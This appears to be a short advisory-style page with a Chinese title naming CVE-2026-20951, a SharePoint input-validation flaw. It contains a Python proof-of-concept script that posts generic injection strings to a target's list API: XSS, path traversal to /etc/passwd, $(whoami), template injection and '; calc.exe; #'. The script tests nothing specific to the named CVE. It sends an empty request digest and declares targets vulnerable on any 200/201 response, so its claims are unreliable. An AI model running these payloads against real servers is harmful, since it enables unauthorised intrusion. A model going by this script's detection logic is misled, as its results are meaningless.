CVE-2026-20951: Microsoft SharePoint 输入验证不当导致本地代码执行漏洞

# CVE-2026-20951 PoC - SharePoint Improper Input Validation # This PoC demonstrates the input validation vulnerability in SharePoint # Note: This is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def test_sharepoint_vulnerability(target_url, payload): """ Test for CVE-2026-20951: SharePoint Input Validation Vulnerability This vulnerability allows attackers to inject malicious input through SharePoint forms or document uploads, bypassing input validation checks. """ print(f"[*] Testing target: {target_url}") print(f"[*] Payload: {payload}") # SharePoint endpoint for document upload or form submission endpoint = urljoin(target_url, "/_api/web/lists/getbytitle('Documents')/items") headers = { "Content-Type": "application/json;odata=verbose", "Accept": "application/json;odata=verbose", "X-RequestDigest": "", # Would need valid digest } # Malicious payload exploiting improper input validation malicious_data = { "__metadata": {"type": "SP.ListItem"}, "Title": payload, # Payload injection point "ContentTypeId": "0x0101" } try: # In a real scenario, this would require authentication # and proper request digest response = requests.post(endpoint, json=malicious_data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") return response.status_code == 200 or response.status_code == 201 except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def generate_payload(): """ Generate various payloads to test input validation bypass """ payloads = [ "<script>alert('XSS')</script>", "../../../etc/passwd", "$(whoami)", "{{7*7}}", "; calc.exe; #" ] return payloads if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-20951-poc.py <target_url> [payload]") print("Example: python cve-2026-20951-poc.py https://sharepoint.example.com") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else generate_payload()[0] result = test_sharepoint_vulnerability(target, payload) if result: print("[!] Target may be vulnerable to CVE-2026-20951") else: print("[*] Target does not appear to be vulnerable or requires authentication")